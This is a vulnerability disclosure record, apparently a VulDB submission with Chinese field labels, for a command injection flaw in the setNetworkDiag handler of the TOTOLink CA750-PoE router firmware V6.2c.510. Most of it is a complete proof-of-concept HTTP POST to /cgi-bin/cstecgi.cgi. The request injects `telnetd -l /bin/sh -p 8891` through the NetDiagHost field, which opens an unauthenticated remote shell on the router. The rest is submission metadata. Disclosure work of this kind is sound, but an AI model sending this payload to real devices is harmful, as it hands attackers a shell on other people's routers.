| 标题 | TOTOLink CA750-PoE V6.2c.510 Command Injection |
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| 描述 | We found an Command Injection vulnerability in TOTOLink router with firmware which was released recently, allows remote attackers to execute arbitrary OS commands from a crafted request.In setNetworkDiag function, NetDiagHost、NetDiagPingNum、NetDiagPingSize、NetDiagPingTimeOut、NetDiagTracertHop is directly passed by the attacker, so we can control the NetDiagHost、NetDiagPingNum、NetDiagPingSize、NetDiagPingTimeOut、NetDiagTracertHop to attack the OS.
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.33
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 198
Origin: http://192.168.0.33
Connection: keep-alive
Referer: http://192.168.0.33/adm/network_daig.asp?timestamp=1777256315963
Cookie: SESSION_ID=2:1777255848:2
{"topicurl":"setting/setNetworkDiag","NetDiagMethod":"0","NetDiagHost":"`telnetd -l /bin/sh -p 8891`","NetDiagPingNum":"4","NetDiagPingSize":"64","NetDiagPingTimeOut":"800","NetDiagTracertHop":"20"} |
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| 来源 | ⚠️ https://github.com/wudipjq/my_vuln/blob/main/totolink4/vuln_52/52.md |
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| 用户 | Buoy_yes (UID 97629) |
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| 提交 | 2026-04-27 08時27分 (1 月前) |
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| 管理 | 2026-05-25 17時09分 (28 days later) |
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| 状态 | 已接受 |
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| VulDB条目 | 365514 [Totolink CA750-PoE 6.2c.510 Setting /cgi-bin/cstecgi.cgi setNetworkDiag 权限提升] |
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| 积分 | 20 |
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